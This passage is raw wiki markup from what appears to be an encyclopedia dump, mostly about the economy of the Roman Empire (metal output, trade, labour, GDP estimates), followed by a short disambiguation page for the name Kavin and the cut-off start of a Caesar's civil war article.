Hemispheric Lead Pollution Two Millennia Ago by Greek and Roman Civilizations", ''[[Science (journal)|Science]]'', Vol. 265, No. 5180, pp. 1841–1843; Callataÿ, François de (2005): "The Graeco-Roman Economy in the Super Long-Run: Lead, Copper, and Shipwrecks", ''Journal of Roman Archaeology'', Vol. 18, pp. 361–372 (361–365); Settle, Dorothy M.; [[Clair Cameron Patterson|Patterson, Clair C.]] (1980): "Lead in Albacore: Guide to Lead Pollution in Americans", ''[[Science (journal)|Science]]'', Vol. 207, No. 4436, pp. 1167–1176 (1170f.); cf. also Wilson, Andrew (2002): "Machines, Power and the Ancient Economy", ''[[The Journal of Roman Studies]]'', Vol. 92, pp. 1–32 (25–29)</ref> both production levels unmatched until the [[Industrial Revolution]];<ref>Callataÿ, François de (2005): "The Graeco-Roman Economy in the Super Long-Run: Lead, Copper, and Shipwrecks", ''Journal of Roman Archaeology'', Vol. 18, pp. 361–372 (361–369); Hong, Sungmin; Candelone, Jean-Pierre; [[Clair Cameron Patterson|Patterson, Clair C.]]; Boutron, Claude F. (1996): "History of Ancient Copper Smelting Pollution During Roman and Medieval Times Recorded in Greenland Ice", ''[[Science (journal)|Science]]'', Vol. 272, No. 5259, pp. 246–249 (247, fig. 1 and 2; 248, table 1); Hong, Sungmin; Candelone, Jean-Pierre; [[Clair Cameron Patterson|Patterson, Clair C.]]; Boutron, Claude F. (1994): "Greenland Ice Evidence of Hemispheric Lead Pollution Two Millennia Ago by Greek and Roman Civilizations", ''[[Science (journal)|Science]]'', Vol. 265, No. 5180, pp. 1841–1843; Settle, Dorothy M.; [[Clair Cameron Patterson|Patterson, Clair C.]] (1980): "Lead in Albacore: Guide to Lead Pollution in Americans", ''[[Science (journal)|Science]]'', Vol. 207, No. 4436, pp. 1167–1176 (1170f.)</ref> Spain alone had a 40 percent share in world lead production.<ref>{{cite journal | last1 = Hong | first1 = Sungmin | authorlink3 = Clair Cameron Patterson | last2 = Candelone | first2 = Jean-Pierre | last3 = Patterson | first3 = Clair C. | last4 = Boutron | first4 = Claude F. | year = 1994 | title = Greenland Ice Evidence of Hemispheric Lead Pollution Two Millennia Ago by Greek and Roman Civilizations | url = | journal = [[Science (journal)|Science]] | volume = 265 | issue = 5180| pages = 1841–1843 | doi = 10.1126/science.265.5180.1841 | pmid=17797222 | ref = harv}}</ref> The high lead output was a by-product of extensive silver mining which reached 200 t per annum.<ref>[[Clair Cameron Patterson|Patterson, C. C.]] (1972): "Silver Stocks and Losses in Ancient and Medieval Times", ''[[The Economic History Review]]'', Vol. 25, No. 2, pp. 205–235 (228, table 6); Callataÿ, François de (2005): "The Graeco-Roman Economy in the Super Long-Run: Lead, Copper, and Shipwrecks", ''Journal of Roman Archaeology'', Vol. 18, pp. 361–372 (365f.)</ref> At its peak around the mid-2nd century AD, the Roman silver stock is estimated at 10,000 t, five to ten times larger than the combined silver mass of [[Early Middle Ages|medieval Europe]] and the [[Abbasid Caliphate|Caliphate]] around 800 AD.<ref>[[Clair Cameron Patterson|Patterson, C. C.]] (1972): "Silver Stocks and Losses in Ancient and Medieval Times", ''[[The Economic History Review]]'', Vol. 25, No. 2, pp. 205–235 (216, table 2); Callataÿ, François de (2005): "The Graeco-Roman Economy in the Super Long-Run: Lead, Copper, and Shipwrecks", ''Journal of Roman Archaeology'', Vol. 18, pp. 361–372 (365f.)</ref> As an indication of the scale of Roman metal production, lead pollution in the [[Greenland ice sheet]] quadrupled over its prehistoric levels during the Imperial era, and dropped again thereafter.<ref>Hopkins, ''The Political Economy of the Roman Empire,'' p. 197.</ref>

The invention and widespread application of [[hydraulic mining]], namely [[hushing]] and ground-sluicing, aided by the ability of the Romans to plan and execute mining operations on a large scale, allowed various base and precious metals to be extracted on a proto-industrial scale only rarely, if ever, matched until the [[Industrial Revolution]].<ref>Wilson 2002, pp. 17–21, 25, 32</ref> The most common fuel by far for smelting and forging operations, as well as heating purposes, was wood and particularly [[charcoal]], which is nearly twice as efficient.<ref>Cech 2010, p. 20</ref> In addition, [[coal]] was mined in some regions to a fairly large extent: Almost all major coalfields in [[Roman Britain]] were exploited by the late 2nd century AD, and a lively trade along the English [[North Sea]] coast developed, which extended to the continental [[Rhineland]], where [[bituminous coal]] was already used for the smelting of [[iron ore]].<ref>Smith 1997, pp. 322–324</ref>

{| class="wikitable" style="float: right;" border="1"
|-
|+ Annual metal production in metric tons
|-
|
! width="10%" | Output per annum
! width="90%" | Comment
|-
! [[Iron]]
| 82,500 [[Tonnes|t]]<ref>Craddock 2008, p. 108; Sim, Ridge 2002, p. 23; Healy 1978, p. 196</ref>
| Based on "conservative estimate" of iron production at 1.5 kg per head, assuming a population size of 55m,<ref>Sim, Ridge 2002, p. 23; Healy 1978, p. 196</ref> while the similarly populous Han China, where the state prohibited private ironworks, produced around 5,000 t.<ref name="Wagner, Donald B. 2001, p. 73, 85"/>
|-
! [[Copper]]
| 15,000 t<ref>World output, the large bulk of which is attributed to Roman mining and smelting activities (mainly in [[Spain]], [[Cyprus]] and [[Central Europe]]): Hong, Candelone, Patterson, Boutron 1996, p. 247; Callataÿ 2005, pp. 366–369; cf. also Wilson 2002, pp. 25–29</ref>
| Largest preindustrial producer<ref>Hong, Candelone, Patterson, Boutron 1996, p. 247, fig. 1 & 2; 248, table 1; Callataÿ 2005, pp. 366–369</ref>
|-
! [[Lead]]
| 80,000 t<ref>World output, the large bulk of which is attributed to Roman silver mining and smelting activities (in Central Europe, [[United Kingdom|Britain]], the [[Balkans]], [[Greece]], [[Asia Minor]] and, above all, Spain, with a 40% share in world production alone): Hong, Candelone, Patterson, Boutron 1994, p. 1841–1843; Callataÿ 2005, pp. 361–365; Settle, Patterson 1980, pp. 1170f.; cf. also Wilson 2002, pp. 25–29</ref>
| Largest preindustrial producer<ref>Hong, Candelone, Patterson, Boutron 1994, p. 1841–1843; Settle, Patterson 1980, pp. 1170f.; Callataÿ 2005, pp. 361–365 follows the aforementioned authors, but cautions that the Greco-Roman levels may have already been surpassed by the end of the [[Middle Age]]s (p. 365).</ref>
|-
! [[Silver]]
| {{0|11,}}200 t<ref>Patterson 1972, p. 228, table 6; Callataÿ 2005, pp. 365f.; cf. also Wilson 2002, pp. 25–29</ref>
| At its peak around the mid-2nd century AD, Roman stock is estimated at 10,000 t, five to ten times larger than the combined silver mass of [[Early Middle Ages|medieval Europe]] and the [[Abbasid Caliphate|Caliphate]] around 800 AD.<ref>Patterson 1972, p. 216, table 2; Callataÿ 2005, pp. 365f.</ref>
|-
! [[Gold]]
| {{0|11,11}}9 t<ref>[[Pliny the Elder|Pliny]]: ''[[Naturalis Historia]]'', 33.21.78, in: Wilson 2002, p. 27</ref>
| Production in [[Asturia]], [[Callaecia]], and [[Lusitania]] (all [[Iberian Peninsula]]) alone
|-
|}
{{Clear}}

==Transportation and communication==
{{See also|Roman roads}}
[[File:Halage sur la Durance Amphores et tonneaux gallo-romains.jpg|thumb|upright=1.5|[[Gallo-Roman culture|Gallo-Roman]] relief depicting a river boat transporting wine barrels, an invention of the Gauls that came into widespread use during the 2nd century; above, wine is stored in the traditional [[amphora]]e, some covered in wicker<ref>Élise Marlière, "Le tonneua en Gaule romaine," ''Gallia'' 58 (2001) 181–210, especially p. 184; Corbier, "Coinage, Society, and Economy," in ''CAH'' 12, p. 404.</ref>]]
The Roman Empire completely encircled the Mediterranean, which they called "our sea" ''(mare nostrum)''.<ref>Kevin Greene, ''The Archaeology of the Roman Economy'' p. 17.</ref> Roman sailing vessels navigated the Mediterranean as well as the major rivers of the Empire, including the [[Guadalquivir]], [[Ebro]], [[Rhône]], Rhine, [[Tiber]] and Nile.<ref>W.V. Harris, "Trade," in ''The Cambridge Ancient History: The High Empire A.D. 70–192'' (Cambridge University Press, 2000), vol. 11, p. 713.</ref> Transport by water was preferred where possible, and moving commodities by land was more difficult.<ref>Harris, "Trade," in ''CAH'' 11, p. 714.</ref> Vehicles, wheels, and ships indicate the existence of a great number of skilled woodworkers.<ref>Roger Bradley Ulrich, ''Roman Woodworking'' (Yale University Press, pp. 1–2.</ref>

Land transport utilized the advanced system of [[Roman roads]]. The in-kind taxes paid by communities included the provision of personnel, animals, or vehicles for the ''[[cursus publicus]]'', the state mail and transport service established by Augustus. Relay stations were located along the roads every seven to twelve [[Roman mile]]s, and tended to grow into a village or trading post.<ref name="StambaughThe">Stambaugh, ''The Ancient Roman City,'' p. 253.</ref> A ''[[mansio]]'' (plural ''mansiones'') was a privately run service station franchised by the imperial bureaucracy for the ''cursus publicus''. The support staff at such a facility included muleteers, secretaries, blacksmiths, cartwrights, a veterinarian, and a few military police and couriers. The distance between ''mansiones'' was determined by how far a wagon could travel in a day.<ref name="StambaughThe" /> Mules were the animal most often used for pulling carts, travelling about 4 mph.<ref>Ray Laurence, "Land Transport in Roman Italy: Costs, Practice and the Economy," in ''Trade, Traders and the Ancient City'' (Routledge, 1998), p. 129.</ref> As an example of the pace of communication, it took a messenger a minimum of nine days to travel to Rome from [[Mainz#Roman Mogontiacum|Mainz]] in the province of [[Germania Superior]], even on a matter of urgency.<ref>Keith Hopkins, "The Political Economy of the Roman Empire," in ''The Dynamics of Ancient Empires : State Power from Assyria to Byzantium'' (Oxford University Press, 2009), p. 187.</ref> In addition to the ''mansiones'', some taverns offered accommodations as well as [[#Food and dining|food and drink]]; one recorded tab for a stay showed charges for wine, bread, mule feed, and the [[Prostitution in ancient Rome|services of a prostitute]].<ref>Holleran, ''Shopping in Ancient Rome,'' p. 142.</ref>

==Trade and commodities==
{{See also|Roman commerce|Indo-Roman trade and relations}}
Roman provinces traded among themselves, but trade extended outside the frontiers to regions [[Romano-Chinese relations|as far away as China]] and [[Gupta Empire|India]].<ref>Harris, "Trade," in ''CAH'' 11, p. 713.</ref> The main [[commodity]] was grain.<ref>Harris, "Trade," in ''CAH'' 11, p. 710.</ref> Chinese trade was mostly conducted overland through middle men along the [[Silk Road]]; Indian trade, however, also occurred by sea from [[Roman Egypt|Egyptian]] ports on the [[Red Sea]]. Also traded were olive oil, various foodstuffs, ''[[garum]]'' ([[fish sauce]]), slaves, ore and manufactured metal objects, fibres and textiles, timber, [[ancient Roman pottery|pottery]], [[Roman glass|glassware]], marble, [[papyrus]], spices and ''[[materia medica]]'', ivory, pearls, and gemstones.<ref>Harris, "Trade," in ''CAH'' 11, pp. 717–729.</ref>

Though most provinces were capable of producing wine, [[Ancient Rome and wine|regional varietals]] were desirable and wine was a central item of trade. Shortages of ''[[vin ordinaire]]'' were rare.<ref>Mireille Corbier, "Coinage, Society, and Economy," in ''Cambridge Ancient History: The Crisis of Empire, A.D. 193–337'' (Cambridge University Press, 2005), vol. 12, p. 404; Harris, "Trade," in ''CAH'' 11, p. 719.</ref> The major suppliers for the city of Rome were the west coast of Italy, southern Gaul, the [[Hispania Tarraconensis|Tarraconensis region]] of Spain, and [[Creta et Cyrenaica|Crete]]. Alexandria, the second-largest city, imported wine from [[Latakia|Laodicea in Syria]] and the Aegean.<ref>Harris, "Trade," in ''CAH'' 11, p. 720.</ref> At the retail level, taverns or speciality wine shops ''(vinaria)'' sold wine by the jug for carryout and by the drink on premises, with price ranges reflecting quality.<ref>Holleran, ''Shopping in Ancient Rome,'' pp. 146–147.</ref>

==Labour and occupations==
[[File:Pompeii - Fullonica of Veranius Hypsaeus 1 - MAN.jpg|thumb|Workers at a cloth-processing shop, in a painting from the ''[[fullonica]]'' of Veranius Hypsaeus in Pompeii]]
Inscriptions record 268 different occupations in the city of Rome, and 85 in Pompeii.<ref>Hopkins, "The Political Economy of the Roman Empire," p. 196.</ref> Professional associations or trade guilds ''(collegia)'' are attested for a wide range of occupations, including fishermen ''(piscatores)'', salt merchants ''(salinatores)'', olive oil dealers ''(olivarii)'', [[#Performing arts|entertainers]] ''(scaenici)'', cattle dealers ''(pecuarii)'', goldsmiths ''(aurifices)'', teamsters ''(asinarii'' or ''muliones)'', and stonecutters ''(lapidarii)''.<ref>Verboven, "The Associative Order: Status and Ethos among Roman Businessmen," preprint pp. 18, 23.</ref> These are sometimes quite specialized: one ''collegium'' at Rome was strictly limited to craftsmen who worked in ivory and [[citrus wood]].<ref>''Eborarii'' and ''citriarii'': Verboven, "The Associative Order: Status and Ethos among Roman Businessmen," preprint p. 21.</ref>

Work performed by slaves falls into five general categories: domestic, with epitaphs recording at least 55 different household jobs; [[Slavery in ancient Rome#Servus publicus|imperial or public service]]; urban crafts and services; agriculture; and mining.<ref>"Slavery in Rome," in ''The Oxford Encyclopedia of Ancient Greece and Rome'' (Oxford University Press, 2010), p. 323.</ref> Convicts provided much of the labour in the mines or quarries, where conditions were notoriously brutal.<ref>"Slavery in Rome," in ''The Oxford Encyclopedia of Ancient Greece and Rome'', p. 323.</ref> In practice, there was little division of labour between slave and free,<ref name="Saller, p. 111">Garnsey and Saller, ''The Roman Empire: Economy, Society and Culture'', p. 111.</ref> and most workers were illiterate and without special skills.<ref>Peter Temin, "The Labor Market of the Early Roman Empire," ''Journal of Interdisciplinary History'' 34.1 (2004), p. 517.</ref> The greatest number of common labourers were employed in agriculture: in the Italian system of industrial farming ''([[latifundia]])'', these may have been mostly slaves, but throughout the Empire, slave farm labour was probably less important than other forms of dependent labour by people who were technically not enslaved.<ref name="Saller, p. 111"/>

Textile and clothing production was a major source of employment. Both textiles and finished garments were traded among the peoples of the Empire, whose products were often named for them or a particular town, rather like a [[fashion design|fashion "label"]].<ref>[[A.H.M. Jones]], "The Cloth Industry under the Roman Empire," ''Economic History Review'' 13.2 (1960), pp. 184–185.</ref> Better ready-to-wear was exported by businessmen (''negotiatores'' or ''mercatores'') who were often well-to-do residents of the production centres.<ref name="JonesThe">Jones, "The Cloth Industry under the Roman Empire,"p. 192.</ref> Finished garments might be retailed by their sales agents, who travelled to potential customers, or by ''vestiarii,'' clothing dealers who were mostly freedmen; or they might be peddled by itinerant merchants.<ref name="JonesThe" /> In Egypt, textile producers could run prosperous small businesses employing apprentices, free workers earning wages, and slaves.<ref>Jones, "The Cloth Industry under the Roman Empire," pp. 188–189.</ref> The [[fulling|fullers]] (''[[fullonica|fullones]]'') and dye workers (''coloratores'') had their own guilds.<ref>Jones, "The Cloth Industry under the Roman Empire," pp. 190–191.</ref> ''Centonarii'' were guild workers who specialized in textile production and the recycling of old clothes into [[patchwork|pieced goods]].<ref>Vout, "The Myth of the Toga," p. 212. The college of ''centonarii'' is an elusive topic in scholarship, since they are also widely attested as urban firefighters; see Jinyu Liu, ''Collegia Centonariorum: The Guilds of Textile Dealers in the Roman West'' (Brill, 2009). Liu sees them as "primarily tradesmen and/or manufacturers engaged in the production and distribution of low- or medium-quality woolen textiles and clothing, including felt and its products."</ref>

==GDP and income distribution==
{{Details|Roman economy#Gross domestic product}}
[[Economic history|Economic historians]] vary in their calculations of the gross domestic product of the Roman economy during the Principate.<ref>[[Walter Scheidel|Scheidel, Walter]]; [[Ian Morris (historian)|Morris, Ian]]; Saller, Richard, eds. (2007): ''The Cambridge Economic History of the Greco-Roman World'', Cambridge University Press, ISBN 978-0-521-78053-7</ref> In the sample years of 14, 100, and 150 AD, estimates of per capita GDP range from 166 to 380 ''[[Sestertius|HS]]''. The GDP per capita of [[Italia (Roman Empire)|Italy]] is estimated as 40<ref name="Lo Cascio, Malanima 2009, 391–401">[[Elio Lo Cascio|Lo Cascio, Elio]]; [[Paolo Malanima|Malanima, Paolo]] (Dec. 2009): "[http://www.paolomalanima.it/default_file/Papers/GDP_in_Pre-Modern_Agrarian_Economies.pdf GDP in Pre-Modern Agrarian Economies (1–1820 AD). A Revision of the Estimates]", ''Rivista di storia economica'', Vol. 25, No. 3, pp. 391–420 (391–401)</ref> to 66 percent<ref name="Maddison 2007, pp. 47–51">Maddison 2007, pp. 47–51</ref> higher than in the rest of the Empire, due to tax transfers from the provinces and the concentration of elite income in the heartland.

In the [[Walter Scheidel|Scheidel]]–Friesen economic model, the total annual income generated by the Empire is placed at nearly 20 billion ''HS'', with about 5 percent extracted by central and local government. Households in the top 1.5 percent of [[income distribution]] captured about 20 percent of income. Another 20 percent went to about 10 percent of the population who can be characterized as a non-elite middle. The remaining "vast majority" produced more than half of the total income, but lived near [[subsistence]].<ref>{{cite journal | last1 = Scheidel | first1 = Walter | last2 = Friesen | first2 = Steven J. | year = 2006 | title = The Size of the Economy and the Distribution of Income in the Roman Empire | url = | journal = Journal of Roman Studies | volume = 99 | issue = | pages = 62–63 | doi=10.3815/007543509789745223}}</ref> All cited economic historians stress the point that any estimate can only be regarded as a rough approximation to the realities of the ancient economy, given the general paucity of surviving pertinent data.

{| class="wikitable plainrowheaders" style="text-align:center;"
|+ Estimates of Roman per-capita and total GDP{{Ref label|note_a1|A|}}
|-
! scope="col" colspan="2" width="24%" | Unit
! scope="col" width="10%" | [[Raymond W. Goldsmith|Goldsmith]] 1984<ref>Goldsmith 1984, pp. 263–288</ref>
! scope="col" width="10%" | [[Keith Hopkins|Hopkins]] 1995/96<ref>Hopkins 1995/96, pp. 41–75. His estimates are upward revisions from Hopkins 1980, pp. 101–125, where he lays out his basic method.</ref>
! scope="col" width="10%" | [[Peter Temin|Temin]] 2006<ref>Temin 2006, pp. 31–54</ref>
! scope="col" width="10%" | [[Angus Maddison|Maddison]] 2007<ref>Maddison 2007, pp. 43–47; 50, table 1.10; 54, table 1.12</ref>
! scope="col" width="10%" | [[Peter Fibiger Bang|Bang]] 2008<ref>Bang 2008, pp. 86–91</ref>
! scope="col" width="13%" | [[Walter Scheidel|Scheidel]]/Friesen 2009<ref>Scheidel, Friesen Nov. 2009, pp. 61–91</ref>
! scope="col" width="13%" | [[Elio Lo Cascio|Lo Cascio]]/[[Paolo Malanima|Malanima]] 2009<ref name="Lo Cascio, Malanima 2009, 391–401"/>
|-
! scope="row" rowspan="3" | '''[[GDP per capita]] in'''
! scope="row" | [[Sesterce]]s
| [[Sesterce|HS]] 380
| HS 225
| HS 166
| HS 380
| HS 229
| HS 260
| –
|-
! scope="row" | [[Wheat]] equivalent
| 843 [[Kilogram|kg]]
| 491 kg
| 614 kg
| 843 kg
| 500 kg
| 680 kg
| –
|-
! scope="row" | [[International Dollars|1990 Int$]]
| –
| –
| –
| $570
| –
| $620
| $940
|-
! scope="row" colspan="2" | '''Population''' (Approx. year)
| 55[[Million|m]] (14 AD)
| 60m (14 AD)
| 55m (100 AD)
| 44m (14 AD)
| 60m (150 AD)
| 70m (150 AD)
| – (14 AD)
|-
! scope="row" rowspan="3" | '''[[Gross domestic product|Total GDP]] in'''
! scope="row" | Sesterces
| HS 20.9[[1,000,000,000 (number)|bn]]
| HS 13.5bn
| HS 9.2bn
| HS 16.7bn
| HS 13.7bn
| ~HS 20bn
| –
|-
! scope="row" | Wheat equivalent
| ''46.4 [[Metric ton#Derived units|Mt]]''
| ''29.5 Mt''
| ''33.8 Mt''
| ''37.1 Mt''
| 30 Mt
| 50 Mt
| –
|-
! scope="row" | 1990 Int$
| –
| –
| –
| $25.1bn
| –
| ''$43.4bn''
| –
|-
! scope="col" colspan="9" | "–" indicates unknown value.
|-
|}

'''A''' {{Note|note_a1}}Decimal fractions rounded to the nearest tenth. Italic numbers not directly given by the authors; they are obtained by multiplying the respective value of GDP per capita by estimated population size.

{| class="wikitable floatright" style="text-align:right"
|+ Maddison's breakdown per region (14 AD)<ref name="Maddison 2007, 54, table 1.12">Maddison 2007, p. 54, table 1.12</ref>
|-
! Unit
! Roman Europe
! Roman Asia
! Roman Africa
! Roman Empire
|-
| [[National disposable income|NDI]] per capita (in [[International Dollars|1990 Int$]])
| 593
| 550
| 541
| 570
|-
| Population (in [[Million|m]])
| 23.1
| 12.2
| 8.7
| 44
|-
| Total NDI (in m 1990 Int$)
| 13,689
| 6,710
| 4,710
| 25,109
|-
|}

[[Angus Maddison]] is the only economist cited who offers a detailed breakdown of the [[national disposable income]] (NDI) of the various parts of the Roman Empire. His "highly provisional" estimate (see right) relies on a [[Roman economy#Demography|low-count]] of the Roman population of only 44 million at the time of the death of [[Augustus]] in 14 AD. [[Italia (Roman Empire)|Italia]] is considered to have been the richest region, due to tax transfers from the [[Roman province|provinces]] and the concentration of elite income in the heartland; its NDI per capita is estimated at having been between 40%<ref name="Lo Cascio, Malanima 2009, 391–401"/> and 66%<ref name="Maddison 2007, pp. 47–51"/> higher than in the rest of the empire. The European NDI per capita was higher than in the Asian and African provinces if Italy is included, but without it lower.<ref name="Maddison 2007, 54, table 1.12"/> The [[Hellenistic]] provinces ([[Roman Greece|Greece]], [[Asia (Roman province)|Asia Minor]], [[Roman Syria|Syria]], [[Roman Egypt|Egypt]]) were about 20% wealthier than their mostly Latin-speaking western counterparts, but again Italia, which was not administered as a province, enjoyed a higher per capita income than any one of them.<ref>Maddison 2007, p. 57, table 1.14</ref>

== See also ==
; Economic sectors
* [[Roman commerce]]
* [[Roman finance]]
* [[Slavery in ancient Rome]]
; Provinces
* [[Roman Britain#Economy|Roman Britain: Economy]]
* [[Economy of Hispania]]
; Related economies
* [[Economy of ancient Greece|Ancient Greek economy]]
* [[Byzantine economy]]
* [[Economy of the Han Dynasty|Economy of Ancient China]]

== Notes and references ==
{{Reflist|2}}

== Sources ==
* [[Peter Fibiger Bang|Bang, Peter Fibiger]] (2008): ''The Roman Bazaar: A Comparative Study of Trade and Markets in a Tributary Empire'', Cambridge University Press, ISBN 0-521-85532-2, pp. 86–91
* {{cite journal | last1 = Bang | first1 = Peter Fibiger | authorlink = Peter Fibiger Bang | year = 2009 | title = The Ancient Economy and New Institutional Economics | url = | journal = [[The Journal of Roman Studies]] | volume = 99 | issue = | pages = 194–206 | doi=10.3815/007543509789744783}}
* {{cite journal | last1 = Callataÿ | first1 = François de | year = 2005 | title = The Graeco-Roman Economy in the Super Long-Run: Lead, Copper, and Shipwrecks | url = | journal = Journal of Roman Archaeology | volume = 18 | issue = | pages = 361–372 }}
* Cech, Brigitte (2010): ''Technik in der Antike'', Wissenschaftliche Buchgesellschaft, Darmstadt, ISBN 978-3-8062-2080-3
* Craddock, Paul T. (2008): "Mining and Metallurgy", in: [[John Peter Oleson|Oleson, John Peter]] (ed.): ''The Oxford Handbook of Engineering and Technology in the Classical World'', Oxford University Press, ISBN 978-0-19-518731-1, pp. 93–120
*{{cite journal | last1 = Goldsmith | first1 = Raymond W. | authorlink = Raymond W. Goldsmith | year = 1984 | title = An Estimate of the Size and Structure of the National Product of the Early Roman Empire | url = | journal = Review of Income and Wealth | volume = 30 | issue = 3| pages = 263–288 | doi=10.1111/j.1475-4991.1984.tb00552.x}}
* Healy, John F. (1978): ''Mining and Metallurgy in the Greek and Roman World'', Thames and Hudson, London, ISBN 0-500-40035-0
* {{cite journal | last1 = Hong | first1 = Sungmin | authorlink3 = Clair Cameron Patterson | last2 = Candelone | first2 = Jean-Pierre | last3 = Patterson | first3 = Clair C. | last4 = Boutron | first4 = Claude F. | year = 1994 | title = Greenland Ice Evidence of Hemispheric Lead Pollution Two Millennia Ago by Greek and Roman Civilizations | url = | journal = [[Science (journal)|Science]] | volume = 265 | issue = 5180| pages = 1841–1843 | doi=10.1126/science.265.5180.1841 | pmid=17797222}}
* {{cite journal | last1 = Hong | first1 = Sungmin | authorlink3 = Clair Cameron Patterson | last2 = Candelone | first2 = Jean-Pierre | last3 = Patterson | first3 = Clair C. | last4 = Boutron | first4 = Claude F. | year = 1996 | title = History of Ancient Copper Smelting Pollution During Roman and Medieval Times Recorded in Greenland Ice | url = | journal = [[Science (journal)|Science]] | volume = 272 | issue = 5259| pages = 246–249 | doi=10.1126/science.272.5259.246}}
* {{cite journal | last1 = Hopkins | first1 = Keith | authorlink = Keith Hopkins | year = 1980 | title = Taxes and Trade in the Roman Empire (200 B.C.–A.D. 400) | url = | journal = [[The Journal of Roman Studies]] | volume = 70 | issue = | pages = 101–125 | doi=10.2307/299558}}
* [[Keith Hopkins|Hopkins, Keith]] (1995/6): "Rome, Taxes, Rents, and Trade", ''Kodai'', Vol. 6/7, pp. 41–75
* {{cite journal | last1 = Lo Cascio | first1 = Elio | authorlink = Elio Lo Cascio | authorlink2 = Paolo Malanima | last2 = Malanima | first2 = Paolo | year = 2009 | title = GDP in Pre-Modern Agrarian Economies (1–1820 AD). A Revision of the Estimates | url = | journal = Rivista di storia economica | volume = 25 | issue = 3| pages = 391–420 }}
* [[Angus Maddison|Maddison, Angus]] (2007): "Contours of the World Economy, 1–2030 AD. Essays in Macro-Economic History", Oxford University Press, ISBN 978-0-19-922721-1
* Parker, A. J. (1992): "Ancient Shipwrecks of the Mediterranean and the Roman Provinces", Archaeopress (British Archaeological Reports (BAR) International S.), ISBN 0-86054-736-1
* {{cite journal | last1 = Patterson | first1 = C. C. | authorlink = Clair Cameron Patterson | year = 1972 | title = Silver Stocks and Losses in Ancient and Medieval Times | url = | journal = [[The Economic History Review]] | volume = 25 | issue = 2| pages = 205–235 | doi=10.2307/2593904}}
* [[Walter Scheidel|Scheidel, Walter]] (April 2006): ''[http://www.princeton.edu/~pswpc/pdfs/scheidel/040604.pdf Population and Demography]'', Princeton/Stanford Working Papers in Classics, Version 1.0
* {{cite journal | last1 = Scheidel | first1 = Walter | authorlink = Walter Scheidel | last2 = Friesen | first2 = Steven J. | year = 2009 | title = The Size of the Economy and the Distribution of Income in the Roman Empire | url = | journal = [[The Journal of Roman Studies]] | volume = 99 | issue = | pages = 61–91 | doi=10.3815/007543509789745223}}
* {{cite journal | last1 = Settle | first1 = Dorothy M. | authorlink2 = Clair Cameron Patterson | last2 = Patterson | first2 = Clair C. | year = 1980 | title = Lead in Albacore: Guide to Lead Pollution in Americans | url = | journal = [[Science (journal)|Science]] | volume = 207 | issue = 4436| pages = 1167–1176 | doi=10.1126/science.6986654 | pmid=6986654}}
* Sim, David; Ridge, Isabel (2002): ''Iron for the Eagles. The Iron Industry of Roman Britain'', Tempus, Stroud, Gloucestershire, ISBN 0-7524-1900-5
* {{cite journal | last1 = Smith | first1 = A. H. V. | year = 1997 | title = Provenance of Coals from Roman Sites in England and Wales | url = | journal = [[Britannia (journal)|Britannia]] | volume = 28 | issue = | pages = 297–324 | doi=10.2307/526770}}
* [[Peter Temin|Temin, Peter]] (2006): "Estimating GDP in the Early Roman Empire", [[Elio Lo Cascio|Lo Cascio, Elio]] (ed.): ''Innovazione tecnica e progresso economico nel mondo romano'', Edipuglia, Bari, ISBN 978-88-7228-405-6, pp. 31–54
* {{cite journal | last1 = Wilson | first1 = Andrew | authorlink = Andrew Wilson (classical archaeologist) | year = 2002 | title = Machines, Power and the Ancient Economy | url = | journal = [[The Journal of Roman Studies]] | volume = 92 | issue = | pages = 1–32 | doi=10.1017/s0075435800032135}}

== Further reading ==
* Bowman, A. K. and [[Andrew Wilson (classical archaeologist)|Wilson, A. I.]] (eds) (2009), Quantifying the Roman Economy: Methods and Problems, Oxford Studies in the Roman Economy 1. Oxford University Press, Oxford
* Bowman, A. K. and [[Andrew Wilson (classical archaeologist)|Wilson, A. I.]] (eds) (2012), Settlement, Urbanisation and Population, Oxford Studies in the Roman Economy 2. Oxford University Press, Oxford
* [[Walter Scheidel|Scheidel, Walter]]; [[Ian Morris (historian)|Morris, Ian]]; Saller, Richard, eds. (2007): ''The Cambridge Economic History of the Greco-Roman World'', Cambridge University Press, ISBN 978-0-521-78053-7
* {{Cite journal | last=Temin | first=Peter | author-link=Peter Temin | year=2006 | title=The Economy of the Early Roman Empire | journal=[[Journal of Economic Perspectives]] | volume=20 | issue=1 | issn=0895-3309 | doi = 10.1257/089533006776526148 | pages=133–151}}

== External links ==
* [http://oxrep.classics.ox.ac.uk/ The Oxford Roman Economy Project]

{{Ancient Rome topics}}
{{Economic history}}

[[Category:Economy of ancient Rome]]

Kavin

2016-06-27T21:18:22Z

PythonCode: Reverting self-promotion

'''Kavin''' (/kɑːvɪn/)(Tamil. கவின்) is a masculine given name, which is Tamil for "beauty", "grace", "fairness" or "comeliness".<ref>{{cite web | url=http://dsalsrv02.uchicago.edu/cgi-bin/philologic/showrest_?kwic.6.1.19973.0.1.tamillex | publisher=University of Chicago | title=University of Madras Tamil Lexicon | accessdate=October 9, 2014}}</ref> The name Kavin may refer to:
{{TOC right}}
==People==
*[[Kavin Bryan]] (born 1984), Jamaican football player
*[[Kavin Dave]] (born 1984), Indian actor
*[[Kavin Jayaram]] (born 1980), Malaysian comedian
*[[Kav Sandhu]] (born 1979), British musician

==Other uses==
*''[[Gafin v Kavin]]'' (1980), a South African court case

==See also==
*[[Kevin]]
*[[Kevan]]

==References==
{{reflist}}

[[Category:Tamil masculine given names]]

User:PythonCode

2016-06-16T23:54:30Z

PythonCode: ←Created blank page

Caesar's civil war

2016-06-16T23:53:48Z

PythonCode:

{{Refimprove|date=October 2015}}
{{Infobox military conflict
|partof =the [[Roman civil wars]]
|image =
|caption =
|date =10 January 49 – 17 March 45 BC From Caesar crosses the [[Rubicon]] to the [[Battle of Munda]]
|place =[[Hispania]], [[Italy (Ancient Rome)|Italia]], [[Roman Greece|Graecia]], [[Illyria]], [[Ptolemaic Kingdom|Aegyptus]], [[Africa (Roman province)|Africa]]
|territory =
|result =Caesarian victory
|combatant1 =Julius Caesar and supporters, the [[Populares]]
|combatant2 =[[Roman Senate]], the [[Optimates]]
|commander1 =[[Julius Caesar|Gaius Julius Caesar]] [[Gaius Scribonius Curio]][[Killed in action|†]] [[Mark Antony]] [[Decimus Junius Brutus Albinus]] [[Publius Cornelius Sulla]] [[Gnaeus Domitius Calvinus]]
